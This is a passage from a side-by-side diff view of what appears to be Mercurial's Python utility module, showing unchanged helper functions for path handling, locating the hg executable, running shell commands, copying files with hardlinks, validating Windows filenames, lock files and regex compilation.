934 | into. As a workaround, disable GC while building complex (huge) |
|
934 | into. As a workaround, disable GC while building complex (huge) | |
935 | containers. |
|
935 | containers. | |
936 |
|
936 | |||
937 | This garbage collector issue have been fixed in 2.7. |
|
937 | This garbage collector issue have been fixed in 2.7. | |
938 | """ |
|
938 | """ | |
939 | if sys.version_info >= (2, 7): |
|
939 | if sys.version_info >= (2, 7): | |
940 | return func |
|
940 | return func | |
941 | def wrapper(*args, **kwargs): |
|
941 | def wrapper(*args, **kwargs): | |
942 | gcenabled = gc.isenabled() |
|
942 | gcenabled = gc.isenabled() | |
943 | gc.disable() |
|
943 | gc.disable() | |
944 | try: |
|
944 | try: | |
945 | return func(*args, **kwargs) |
|
945 | return func(*args, **kwargs) | |
946 | finally: |
|
946 | finally: | |
947 | if gcenabled: |
|
947 | if gcenabled: | |
948 | gc.enable() |
|
948 | gc.enable() | |
949 | return wrapper |
|
949 | return wrapper | |
950 |
|
950 | |||
951 | def pathto(root, n1, n2): |
|
951 | def pathto(root, n1, n2): | |
952 | '''return the relative path from one place to another. |
|
952 | '''return the relative path from one place to another. | |
953 | root should use os.sep to separate directories |
|
953 | root should use os.sep to separate directories | |
954 | n1 should use os.sep to separate directories |
|
954 | n1 should use os.sep to separate directories | |
955 | n2 should use "/" to separate directories |
|
955 | n2 should use "/" to separate directories | |
956 | returns an os.sep-separated path. |
|
956 | returns an os.sep-separated path. | |
957 |
|
957 | |||
958 | If n1 is a relative path, it's assumed it's |
|
958 | If n1 is a relative path, it's assumed it's | |
959 | relative to root. |
|
959 | relative to root. | |
960 | n2 should always be relative to root. |
|
960 | n2 should always be relative to root. | |
961 | ''' |
|
961 | ''' | |
962 | if not n1: |
|
962 | if not n1: | |
963 | return localpath(n2) |
|
963 | return localpath(n2) | |
964 | if os.path.isabs(n1): |
|
964 | if os.path.isabs(n1): | |
965 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
965 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: | |
966 | return os.path.join(root, localpath(n2)) |
|
966 | return os.path.join(root, localpath(n2)) | |
967 | n2 = '/'.join((pconvert(root), n2)) |
|
967 | n2 = '/'.join((pconvert(root), n2)) | |
968 | a, b = splitpath(n1), n2.split('/') |
|
968 | a, b = splitpath(n1), n2.split('/') | |
969 | a.reverse() |
|
969 | a.reverse() | |
970 | b.reverse() |
|
970 | b.reverse() | |
971 | while a and b and a[-1] == b[-1]: |
|
971 | while a and b and a[-1] == b[-1]: | |
972 | a.pop() |
|
972 | a.pop() | |
973 | b.pop() |
|
973 | b.pop() | |
974 | b.reverse() |
|
974 | b.reverse() | |
975 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
|
975 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' | |
976 |
|
976 | |||
977 | def mainfrozen(): |
|
977 | def mainfrozen(): | |
978 | """return True if we are a frozen executable. |
|
978 | """return True if we are a frozen executable. | |
979 |
|
979 | |||
980 | The code supports py2exe (most common, Windows only) and tools/freeze |
|
980 | The code supports py2exe (most common, Windows only) and tools/freeze | |
981 | (portable, not much used). |
|
981 | (portable, not much used). | |
982 | """ |
|
982 | """ | |
983 | return (safehasattr(sys, "frozen") or # new py2exe |
|
983 | return (safehasattr(sys, "frozen") or # new py2exe | |
984 | safehasattr(sys, "importers") or # old py2exe |
|
984 | safehasattr(sys, "importers") or # old py2exe | |
985 | imp.is_frozen(u"__main__")) # tools/freeze |
|
985 | imp.is_frozen(u"__main__")) # tools/freeze | |
986 |
|
986 | |||
987 | # the location of data files matching the source code |
|
987 | # the location of data files matching the source code | |
988 | if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
|
988 | if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': | |
989 | # executable version (py2exe) doesn't support __file__ |
|
989 | # executable version (py2exe) doesn't support __file__ | |
990 | datapath = os.path.dirname(pycompat.sysexecutable) |
|
990 | datapath = os.path.dirname(pycompat.sysexecutable) | |
991 | else: |
|
991 | else: | |
992 | datapath = os.path.dirname(pycompat.fsencode(__file__)) |
|
992 | datapath = os.path.dirname(pycompat.fsencode(__file__)) | |
993 |
|
993 | |||
994 | i18n.setdatapath(datapath) |
|
994 | i18n.setdatapath(datapath) | |
995 |
|
995 | |||
996 | _hgexecutable = None |
|
996 | _hgexecutable = None | |
997 |
|
997 | |||
998 | def hgexecutable(): |
|
998 | def hgexecutable(): | |
999 | """return location of the 'hg' executable. |
|
999 | """return location of the 'hg' executable. | |
1000 |
|
1000 | |||
1001 | Defaults to $HG or 'hg' in the search path. |
|
1001 | Defaults to $HG or 'hg' in the search path. | |
1002 | """ |
|
1002 | """ | |
1003 | if _hgexecutable is None: |
|
1003 | if _hgexecutable is None: | |
1004 | hg = encoding.environ.get('HG') |
|
1004 | hg = encoding.environ.get('HG') | |
1005 | mainmod = sys.modules[pycompat.sysstr('__main__')] |
|
1005 | mainmod = sys.modules[pycompat.sysstr('__main__')] | |
1006 | if hg: |
|
1006 | if hg: | |
1007 | _sethgexecutable(hg) |
|
1007 | _sethgexecutable(hg) | |
1008 | elif mainfrozen(): |
|
1008 | elif mainfrozen(): | |
1009 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
1009 | if getattr(sys, 'frozen', None) == 'macosx_app': | |
1010 | # Env variable set by py2app |
|
1010 | # Env variable set by py2app | |
1011 | _sethgexecutable(encoding.environ['EXECUTABLEPATH']) |
|
1011 | _sethgexecutable(encoding.environ['EXECUTABLEPATH']) | |
1012 | else: |
|
1012 | else: | |
1013 | _sethgexecutable(pycompat.sysexecutable) |
|
1013 | _sethgexecutable(pycompat.sysexecutable) | |
1014 | elif (os.path.basename( |
|
1014 | elif (os.path.basename( | |
1015 | pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): |
|
1015 | pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): | |
1016 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
|
1016 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) | |
1017 | else: |
|
1017 | else: | |
1018 | exe = findexe('hg') or os.path.basename(sys.argv[0]) |
|
1018 | exe = findexe('hg') or os.path.basename(sys.argv[0]) | |
1019 | _sethgexecutable(exe) |
|
1019 | _sethgexecutable(exe) | |
1020 | return _hgexecutable |
|
1020 | return _hgexecutable | |
1021 |
|
1021 | |||
1022 | def _sethgexecutable(path): |
|
1022 | def _sethgexecutable(path): | |
1023 | """set location of the 'hg' executable""" |
|
1023 | """set location of the 'hg' executable""" | |
1024 | global _hgexecutable |
|
1024 | global _hgexecutable | |
1025 | _hgexecutable = path |
|
1025 | _hgexecutable = path | |
1026 |
|
1026 | |||
1027 | def _isstdout(f): |
|
1027 | def _isstdout(f): | |
1028 | fileno = getattr(f, 'fileno', None) |
|
1028 | fileno = getattr(f, 'fileno', None) | |
1029 | return fileno and fileno() == sys.__stdout__.fileno() |
|
1029 | return fileno and fileno() == sys.__stdout__.fileno() | |
1030 |
|
1030 | |||
1031 | def shellenviron(environ=None): |
|
1031 | def shellenviron(environ=None): | |
1032 | """return environ with optional override, useful for shelling out""" |
|
1032 | """return environ with optional override, useful for shelling out""" | |
1033 | def py2shell(val): |
|
1033 | def py2shell(val): | |
1034 | 'convert python object into string that is useful to shell' |
|
1034 | 'convert python object into string that is useful to shell' | |
1035 | if val is None or val is False: |
|
1035 | if val is None or val is False: | |
1036 | return '0' |
|
1036 | return '0' | |
1037 | if val is True: |
|
1037 | if val is True: | |
1038 | return '1' |
|
1038 | return '1' | |
1039 | return str(val) |
|
1039 | return str(val) | |
1040 | env = dict(encoding.environ) |
|
1040 | env = dict(encoding.environ) | |
1041 | if environ: |
|
1041 | if environ: | |
1042 | env.update((k, py2shell(v)) for k, v in environ.iteritems()) |
|
1042 | env.update((k, py2shell(v)) for k, v in environ.iteritems()) | |
1043 | env['HG'] = hgexecutable() |
|
1043 | env['HG'] = hgexecutable() | |
1044 | return env |
|
1044 | return env | |
1045 |
|
1045 | |||
1046 | def system(cmd, environ=None, cwd=None, out=None): |
|
1046 | def system(cmd, environ=None, cwd=None, out=None): | |
1047 | '''enhanced shell command execution. |
|
1047 | '''enhanced shell command execution. | |
1048 | run with environment maybe modified, maybe in different dir. |
|
1048 | run with environment maybe modified, maybe in different dir. | |
1049 |
|
1049 | |||
1050 | if out is specified, it is assumed to be a file-like object that has a |
|
1050 | if out is specified, it is assumed to be a file-like object that has a | |
1051 | write() method. stdout and stderr will be redirected to out.''' |
|
1051 | write() method. stdout and stderr will be redirected to out.''' | |
1052 | try: |
|
1052 | try: | |
1053 | stdout.flush() |
|
1053 | stdout.flush() | |
1054 | except Exception: |
|
1054 | except Exception: | |
1055 | pass |
|
1055 | pass | |
1056 | cmd = quotecommand(cmd) |
|
1056 | cmd = quotecommand(cmd) | |
1057 | env = shellenviron(environ) |
|
1057 | env = shellenviron(environ) | |
1058 | if out is None or _isstdout(out): |
|
1058 | if out is None or _isstdout(out): | |
1059 | rc = subprocess.call(cmd, shell=True, close_fds=closefds, |
|
1059 | rc = subprocess.call(cmd, shell=True, close_fds=closefds, | |
1060 | env=env, cwd=cwd) |
|
1060 | env=env, cwd=cwd) | |
1061 | else: |
|
1061 | else: | |
1062 | proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
1062 | proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, | |
1063 | env=env, cwd=cwd, stdout=subprocess.PIPE, |
|
1063 | env=env, cwd=cwd, stdout=subprocess.PIPE, | |
1064 | stderr=subprocess.STDOUT) |
|
1064 | stderr=subprocess.STDOUT) | |
1065 | for line in iter(proc.stdout.readline, ''): |
|
1065 | for line in iter(proc.stdout.readline, ''): | |
1066 | out.write(line) |
|
1066 | out.write(line) | |
1067 | proc.wait() |
|
1067 | proc.wait() | |
1068 | rc = proc.returncode |
|
1068 | rc = proc.returncode | |
1069 | if pycompat.sysplatform == 'OpenVMS' and rc & 1: |
|
1069 | if pycompat.sysplatform == 'OpenVMS' and rc & 1: | |
1070 | rc = 0 |
|
1070 | rc = 0 | |
1071 | return rc |
|
1071 | return rc | |
1072 |
|
1072 | |||
1073 | def checksignature(func): |
|
1073 | def checksignature(func): | |
1074 | '''wrap a function with code to check for calling errors''' |
|
1074 | '''wrap a function with code to check for calling errors''' | |
1075 | def check(*args, **kwargs): |
|
1075 | def check(*args, **kwargs): | |
1076 | try: |
|
1076 | try: | |
1077 | return func(*args, **kwargs) |
|
1077 | return func(*args, **kwargs) | |
1078 | except TypeError: |
|
1078 | except TypeError: | |
1079 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1079 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: | |
1080 | raise error.SignatureError |
|
1080 | raise error.SignatureError | |
1081 | raise |
|
1081 | raise | |
1082 |
|
1082 | |||
1083 | return check |
|
1083 | return check | |
1084 |
|
1084 | |||
1085 | # a whilelist of known filesystems where hardlink works reliably |
|
1085 | # a whilelist of known filesystems where hardlink works reliably | |
1086 | _hardlinkfswhitelist = { |
|
1086 | _hardlinkfswhitelist = { | |
1087 | 'btrfs', |
|
1087 | 'btrfs', | |
1088 | 'ext2', |
|
1088 | 'ext2', | |
1089 | 'ext3', |
|
1089 | 'ext3', | |
1090 | 'ext4', |
|
1090 | 'ext4', | |
1091 | 'hfs', |
|
1091 | 'hfs', | |
1092 | 'jfs', |
|
1092 | 'jfs', | |
1093 | 'reiserfs', |
|
1093 | 'reiserfs', | |
1094 | 'tmpfs', |
|
1094 | 'tmpfs', | |
1095 | 'ufs', |
|
1095 | 'ufs', | |
1096 | 'xfs', |
|
1096 | 'xfs', | |
1097 | 'zfs', |
|
1097 | 'zfs', | |
1098 | } |
|
1098 | } | |
1099 |
|
1099 | |||
1100 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1100 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): | |
1101 | '''copy a file, preserving mode and optionally other stat info like |
|
1101 | '''copy a file, preserving mode and optionally other stat info like | |
1102 | atime/mtime |
|
1102 | atime/mtime | |
1103 |
|
1103 | |||
1104 | checkambig argument is used with filestat, and is useful only if |
|
1104 | checkambig argument is used with filestat, and is useful only if | |
1105 | destination file is guarded by any lock (e.g. repo.lock or |
|
1105 | destination file is guarded by any lock (e.g. repo.lock or | |
1106 | repo.wlock). |
|
1106 | repo.wlock). | |
1107 |
|
1107 | |||
1108 | copystat and checkambig should be exclusive. |
|
1108 | copystat and checkambig should be exclusive. | |
1109 | ''' |
|
1109 | ''' | |
1110 | assert not (copystat and checkambig) |
|
1110 | assert not (copystat and checkambig) | |
1111 | oldstat = None |
|
1111 | oldstat = None | |
1112 | if os.path.lexists(dest): |
|
1112 | if os.path.lexists(dest): | |
1113 | if checkambig: |
|
1113 | if checkambig: | |
1114 | oldstat = checkambig and filestat.frompath(dest) |
|
1114 | oldstat = checkambig and filestat.frompath(dest) | |
1115 | unlink(dest) |
|
1115 | unlink(dest) | |
1116 | if hardlink: |
|
1116 | if hardlink: | |
1117 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1117 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks | |
1118 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1118 | # unless we are confident that dest is on a whitelisted filesystem. | |
1119 | try: |
|
1119 | try: | |
1120 | fstype = getfstype(os.path.dirname(dest)) |
|
1120 | fstype = getfstype(os.path.dirname(dest)) | |
1121 | except OSError: |
|
1121 | except OSError: | |
1122 | fstype = None |
|
1122 | fstype = None | |
1123 | if fstype not in _hardlinkfswhitelist: |
|
1123 | if fstype not in _hardlinkfswhitelist: | |
1124 | hardlink = False |
|
1124 | hardlink = False | |
1125 | if hardlink: |
|
1125 | if hardlink: | |
1126 | try: |
|
1126 | try: | |
1127 | oslink(src, dest) |
|
1127 | oslink(src, dest) | |
1128 | return |
|
1128 | return | |
1129 | except (IOError, OSError): |
|
1129 | except (IOError, OSError): | |
1130 | pass # fall back to normal copy |
|
1130 | pass # fall back to normal copy | |
1131 | if os.path.islink(src): |
|
1131 | if os.path.islink(src): | |
1132 | os.symlink(os.readlink(src), dest) |
|
1132 | os.symlink(os.readlink(src), dest) | |
1133 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1133 | # copytime is ignored for symlinks, but in general copytime isn't needed | |
1134 | # for them anyway |
|
1134 | # for them anyway | |
1135 | else: |
|
1135 | else: | |
1136 | try: |
|
1136 | try: | |
1137 | shutil.copyfile(src, dest) |
|
1137 | shutil.copyfile(src, dest) | |
1138 | if copystat: |
|
1138 | if copystat: | |
1139 | # copystat also copies mode |
|
1139 | # copystat also copies mode | |
1140 | shutil.copystat(src, dest) |
|
1140 | shutil.copystat(src, dest) | |
1141 | else: |
|
1141 | else: | |
1142 | shutil.copymode(src, dest) |
|
1142 | shutil.copymode(src, dest) | |
1143 | if oldstat and oldstat.stat: |
|
1143 | if oldstat and oldstat.stat: | |
1144 | newstat = filestat.frompath(dest) |
|
1144 | newstat = filestat.frompath(dest) | |
1145 | if newstat.isambig(oldstat): |
|
1145 | if newstat.isambig(oldstat): | |
1146 | # stat of copied file is ambiguous to original one |
|
1146 | # stat of copied file is ambiguous to original one | |
1147 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
|
1147 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff | |
1148 | os.utime(dest, (advanced, advanced)) |
|
1148 | os.utime(dest, (advanced, advanced)) | |
1149 | except shutil.Error as inst: |
|
1149 | except shutil.Error as inst: | |
1150 | raise Abort(str(inst)) |
|
1150 | raise Abort(str(inst)) | |
1151 |
|
1151 | |||
1152 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
|
1152 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): | |
1153 | """Copy a directory tree using hardlinks if possible.""" |
|
1153 | """Copy a directory tree using hardlinks if possible.""" | |
1154 | num = 0 |
|
1154 | num = 0 | |
1155 |
|
1155 | |||
1156 | gettopic = lambda: hardlink and _('linking') or _('copying') |
|
1156 | gettopic = lambda: hardlink and _('linking') or _('copying') | |
1157 |
|
1157 | |||
1158 | if os.path.isdir(src): |
|
1158 | if os.path.isdir(src): | |
1159 | if hardlink is None: |
|
1159 | if hardlink is None: | |
1160 | hardlink = (os.stat(src).st_dev == |
|
1160 | hardlink = (os.stat(src).st_dev == | |
1161 | os.stat(os.path.dirname(dst)).st_dev) |
|
1161 | os.stat(os.path.dirname(dst)).st_dev) | |
1162 | topic = gettopic() |
|
1162 | topic = gettopic() | |
1163 | os.mkdir(dst) |
|
1163 | os.mkdir(dst) | |
1164 | for name, kind in listdir(src): |
|
1164 | for name, kind in listdir(src): | |
1165 | srcname = os.path.join(src, name) |
|
1165 | srcname = os.path.join(src, name) | |
1166 | dstname = os.path.join(dst, name) |
|
1166 | dstname = os.path.join(dst, name) | |
1167 | def nprog(t, pos): |
|
1167 | def nprog(t, pos): | |
1168 | if pos is not None: |
|
1168 | if pos is not None: | |
1169 | return progress(t, pos + num) |
|
1169 | return progress(t, pos + num) | |
1170 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
|
1170 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) | |
1171 | num += n |
|
1171 | num += n | |
1172 | else: |
|
1172 | else: | |
1173 | if hardlink is None: |
|
1173 | if hardlink is None: | |
1174 | hardlink = (os.stat(os.path.dirname(src)).st_dev == |
|
1174 | hardlink = (os.stat(os.path.dirname(src)).st_dev == | |
1175 | os.stat(os.path.dirname(dst)).st_dev) |
|
1175 | os.stat(os.path.dirname(dst)).st_dev) | |
1176 | topic = gettopic() |
|
1176 | topic = gettopic() | |
1177 |
|
1177 | |||
1178 | if hardlink: |
|
1178 | if hardlink: | |
1179 | try: |
|
1179 | try: | |
1180 | oslink(src, dst) |
|
1180 | oslink(src, dst) | |
1181 | except (IOError, OSError): |
|
1181 | except (IOError, OSError): | |
1182 | hardlink = False |
|
1182 | hardlink = False | |
1183 | shutil.copy(src, dst) |
|
1183 | shutil.copy(src, dst) | |
1184 | else: |
|
1184 | else: | |
1185 | shutil.copy(src, dst) |
|
1185 | shutil.copy(src, dst) | |
1186 | num += 1 |
|
1186 | num += 1 | |
1187 | progress(topic, num) |
|
1187 | progress(topic, num) | |
1188 | progress(topic, None) |
|
1188 | progress(topic, None) | |
1189 |
|
1189 | |||
1190 | return hardlink, num |
|
1190 | return hardlink, num | |
1191 |
|
1191 | |||
1192 | _winreservednames = b'''con prn aux nul |
|
1192 | _winreservednames = b'''con prn aux nul | |
1193 | com1 com2 com3 com4 com5 com6 com7 com8 com9 |
|
1193 | com1 com2 com3 com4 com5 com6 com7 com8 com9 | |
1194 | lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split() |
|
1194 | lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split() | |
1195 | _winreservedchars = ':*?"<>|' |
|
1195 | _winreservedchars = ':*?"<>|' | |
1196 | def checkwinfilename(path): |
|
1196 | def checkwinfilename(path): | |
1197 | r'''Check that the base-relative path is a valid filename on Windows. |
|
1197 | r'''Check that the base-relative path is a valid filename on Windows. | |
1198 | Returns None if the path is ok, or a UI string describing the problem. |
|
1198 | Returns None if the path is ok, or a UI string describing the problem. | |
1199 |
|
1199 | |||
1200 | >>> checkwinfilename("just/a/normal/path") |
|
1200 | >>> checkwinfilename("just/a/normal/path") | |
1201 | >>> checkwinfilename("foo/bar/con.xml") |
|
1201 | >>> checkwinfilename("foo/bar/con.xml") | |
1202 | "filename contains 'con', which is reserved on Windows" |
|
1202 | "filename contains 'con', which is reserved on Windows" | |
1203 | >>> checkwinfilename("foo/con.xml/bar") |
|
1203 | >>> checkwinfilename("foo/con.xml/bar") | |
1204 | "filename contains 'con', which is reserved on Windows" |
|
1204 | "filename contains 'con', which is reserved on Windows" | |
1205 | >>> checkwinfilename("foo/bar/xml.con") |
|
1205 | >>> checkwinfilename("foo/bar/xml.con") | |
1206 | >>> checkwinfilename("foo/bar/AUX/bla.txt") |
|
1206 | >>> checkwinfilename("foo/bar/AUX/bla.txt") | |
1207 | "filename contains 'AUX', which is reserved on Windows" |
|
1207 | "filename contains 'AUX', which is reserved on Windows" | |
1208 | >>> checkwinfilename("foo/bar/bla:.txt") |
|
1208 | >>> checkwinfilename("foo/bar/bla:.txt") | |
1209 | "filename contains ':', which is reserved on Windows" |
|
1209 | "filename contains ':', which is reserved on Windows" | |
1210 | >>> checkwinfilename("foo/bar/b\07la.txt") |
|
1210 | >>> checkwinfilename("foo/bar/b\07la.txt") | |
1211 | "filename contains '\\x07', which is invalid on Windows" |
|
1211 | "filename contains '\\x07', which is invalid on Windows" | |
1212 | >>> checkwinfilename("foo/bar/bla ") |
|
1212 | >>> checkwinfilename("foo/bar/bla ") | |
1213 | "filename ends with ' ', which is not allowed on Windows" |
|
1213 | "filename ends with ' ', which is not allowed on Windows" | |
1214 | >>> checkwinfilename("../bar") |
|
1214 | >>> checkwinfilename("../bar") | |
1215 | >>> checkwinfilename("foo\\") |
|
1215 | >>> checkwinfilename("foo\\") | |
1216 | "filename ends with '\\', which is invalid on Windows" |
|
1216 | "filename ends with '\\', which is invalid on Windows" | |
1217 | >>> checkwinfilename("foo\\/bar") |
|
1217 | >>> checkwinfilename("foo\\/bar") | |
1218 | "directory name ends with '\\', which is invalid on Windows" |
|
1218 | "directory name ends with '\\', which is invalid on Windows" | |
1219 | ''' |
|
1219 | ''' | |
1220 | if path.endswith('\\'): |
|
1220 | if path.endswith('\\'): | |
1221 | return _("filename ends with '\\', which is invalid on Windows") |
|
1221 | return _("filename ends with '\\', which is invalid on Windows") | |
1222 | if '\\/' in path: |
|
1222 | if '\\/' in path: | |
1223 | return _("directory name ends with '\\', which is invalid on Windows") |
|
1223 | return _("directory name ends with '\\', which is invalid on Windows") | |
1224 | for n in path.replace('\\', '/').split('/'): |
|
1224 | for n in path.replace('\\', '/').split('/'): | |
1225 | if not n: |
|
1225 | if not n: | |
1226 | continue |
|
1226 | continue | |
1227 | for c in _filenamebytestr(n): |
|
1227 | for c in _filenamebytestr(n): | |
1228 | if c in _winreservedchars: |
|
1228 | if c in _winreservedchars: | |
1229 | return _("filename contains '%s', which is reserved " |
|
1229 | return _("filename contains '%s', which is reserved " | |
1230 | "on Windows") % c |
|
1230 | "on Windows") % c | |
1231 | if ord(c) <= 31: |
|
1231 | if ord(c) <= 31: | |
1232 | return _("filename contains %r, which is invalid " |
|
1232 | return _("filename contains %r, which is invalid " | |
1233 | "on Windows") % c |
|
1233 | "on Windows") % c | |
1234 | base = n.split('.')[0] |
|
1234 | base = n.split('.')[0] | |
1235 | if base and base.lower() in _winreservednames: |
|
1235 | if base and base.lower() in _winreservednames: | |
1236 | return _("filename contains '%s', which is reserved " |
|
1236 | return _("filename contains '%s', which is reserved " | |
1237 | "on Windows") % base |
|
1237 | "on Windows") % base | |
1238 | t = n[-1] |
|
1238 | t = n[-1] | |
1239 | if t in '. ' and n not in '..': |
|
1239 | if t in '. ' and n not in '..': | |
1240 | return _("filename ends with '%s', which is not allowed " |
|
1240 | return _("filename ends with '%s', which is not allowed " | |
1241 | "on Windows") % t |
|
1241 | "on Windows") % t | |
1242 |
|
1242 | |||
1243 | if pycompat.osname == 'nt': |
|
1243 | if pycompat.osname == 'nt': | |
1244 | checkosfilename = checkwinfilename |
|
1244 | checkosfilename = checkwinfilename | |
1245 | timer = time.clock |
|
1245 | timer = time.clock | |
1246 | else: |
|
1246 | else: | |
1247 | checkosfilename = platform.checkosfilename |
|
1247 | checkosfilename = platform.checkosfilename | |
1248 | timer = time.time |
|
1248 | timer = time.time | |
1249 |
|
1249 | |||
1250 | if safehasattr(time, "perf_counter"): |
|
1250 | if safehasattr(time, "perf_counter"): | |
1251 | timer = time.perf_counter |
|
1251 | timer = time.perf_counter | |
1252 |
|
1252 | |||
1253 | def makelock(info, pathname): |
|
1253 | def makelock(info, pathname): | |
1254 | try: |
|
1254 | try: | |
1255 | return os.symlink(info, pathname) |
|
1255 | return os.symlink(info, pathname) | |
1256 | except OSError as why: |
|
1256 | except OSError as why: | |
1257 | if why.errno == errno.EEXIST: |
|
1257 | if why.errno == errno.EEXIST: | |
1258 | raise |
|
1258 | raise | |
1259 | except AttributeError: # no symlink in os |
|
1259 | except AttributeError: # no symlink in os | |
1260 | pass |
|
1260 | pass | |
1261 |
|
1261 | |||
1262 | ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL) |
|
1262 | ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL) | |
1263 | os.write(ld, info) |
|
1263 | os.write(ld, info) | |
1264 | os.close(ld) |
|
1264 | os.close(ld) | |
1265 |
|
1265 | |||
1266 | def readlock(pathname): |
|
1266 | def readlock(pathname): | |
1267 | try: |
|
1267 | try: | |
1268 | return os.readlink(pathname) |
|
1268 | return os.readlink(pathname) | |
1269 | except OSError as why: |
|
1269 | except OSError as why: | |
1270 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
1270 | if why.errno not in (errno.EINVAL, errno.ENOSYS): | |
1271 | raise |
|
1271 | raise | |
1272 | except AttributeError: # no symlink in os |
|
1272 | except AttributeError: # no symlink in os | |
1273 | pass |
|
1273 | pass | |
1274 | fp = posixfile(pathname) |
|
1274 | fp = posixfile(pathname) | |
1275 | r = fp.read() |
|
1275 | r = fp.read() | |
1276 | fp.close() |
|
1276 | fp.close() | |
1277 | return r |
|
1277 | return r | |
1278 |
|
1278 | |||
1279 | def fstat(fp): |
|
1279 | def fstat(fp): | |
1280 | '''stat file object that may not have fileno method.''' |
|
1280 | '''stat file object that may not have fileno method.''' | |
1281 | try: |
|
1281 | try: | |
1282 | return os.fstat(fp.fileno()) |
|
1282 | return os.fstat(fp.fileno()) | |
1283 | except AttributeError: |
|
1283 | except AttributeError: | |
1284 | return os.stat(fp.name) |
|
1284 | return os.stat(fp.name) | |
1285 |
|
1285 | |||
1286 | # File system features |
|
1286 | # File system features | |
1287 |
|
1287 | |||
1288 | def fscasesensitive(path): |
|
1288 | def fscasesensitive(path): | |
1289 | """ |
|
1289 | """ | |
1290 | Return true if the given path is on a case-sensitive filesystem |
|
1290 | Return true if the given path is on a case-sensitive filesystem | |
1291 |
|
1291 | |||
1292 | Requires a path (like /foo/.hg) ending with a foldable final |
|
1292 | Requires a path (like /foo/.hg) ending with a foldable final | |
1293 | directory component. |
|
1293 | directory component. | |
1294 | """ |
|
1294 | """ | |
1295 | s1 = os.lstat(path) |
|
1295 | s1 = os.lstat(path) | |
1296 | d, b = os.path.split(path) |
|
1296 | d, b = os.path.split(path) | |
1297 | b2 = b.upper() |
|
1297 | b2 = b.upper() | |
1298 | if b == b2: |
|
1298 | if b == b2: | |
1299 | b2 = b.lower() |
|
1299 | b2 = b.lower() | |
1300 | if b == b2: |
|
1300 | if b == b2: | |
1301 | return True # no evidence against case sensitivity |
|
1301 | return True # no evidence against case sensitivity | |
1302 | p2 = os.path.join(d, b2) |
|
1302 | p2 = os.path.join(d, b2) | |
1303 | try: |
|
1303 | try: | |
1304 | s2 = os.lstat(p2) |
|
1304 | s2 = os.lstat(p2) | |
1305 | if s2 == s1: |
|
1305 | if s2 == s1: | |
1306 | return False |
|
1306 | return False | |
1307 | return True |
|
1307 | return True | |
1308 | except OSError: |
|
1308 | except OSError: | |
1309 | return True |
|
1309 | return True | |
1310 |
|
1310 | |||
1311 | try: |
|
1311 | try: | |
1312 | import re2 |
|
1312 | import re2 | |
1313 | _re2 = None |
|
1313 | _re2 = None | |
1314 | except ImportError: |
|
1314 | except ImportError: | |
1315 | _re2 = False |
|
1315 | _re2 = False | |
1316 |
|
1316 | |||
1317 | class _re(object): |
|
1317 | class _re(object): | |
1318 | def _checkre2(self): |
|
1318 | def _checkre2(self): | |
1319 | global _re2 |
|
1319 | global _re2 | |
1320 | try: |
|
1320 | try: | |
1321 | # check if match works, see issue3964 |
|
1321 | # check if match works, see issue3964 | |
1322 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
|
1322 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) | |
1323 | except ImportError: |
|
1323 | except ImportError: | |
1324 | _re2 = False |
|
1324 | _re2 = False | |
1325 |
|
1325 | |||
1326 | def compile(self, pat, flags=0): |
|
1326 | def compile(self, pat, flags=0): | |
1327 | '''Compile a regular expression, using re2 if possible |
|
1327 | '''Compile a regular expression, using re2 if possible | |
1328 |
|
1328 | |||
1329 | For best performance, use only re2-compatible regexp features. The |
|
1329 | For best performance, use only re2-compatible regexp features. The | |
1330 | only flags from the re module that are re2-compatible are |
|
1330 | only flags from the re module that are re2-compatible are | |
1331 | IGNORECASE and MULTILINE.''' |
|
1331 | IGNORECASE and MULTILINE.''' | |
1332 | if _re2 is None: |
|
1332 | if _re2 is None: | |
1333 | self._checkre2() |
|
1333 | self._checkre2() | |
1334 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
1334 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: | |
1335 | if flags & remod.IGNORECASE: |
|
1335 | if flags & remod.IGNORECASE: | |
1336 | pat = '(?i)' + pat |
|
1336 | pat = '(?i)' + pat | |
1337 | if flags & remod.MULTILINE: |
|
1337 | if flags & remod.MULTILINE: | |
1338 | pat = '(?m)' + pat |
|
1338 | pat = '(?m)' + pat | |
1339 | try: |
|
1339 | try: | |
1340 | return re2.compile(pat) |
|
1340 | return re2.compile(pat) | |
1341 | except re2.error: |
|
1341 | except re2.error: | |
1342 | pass |
|
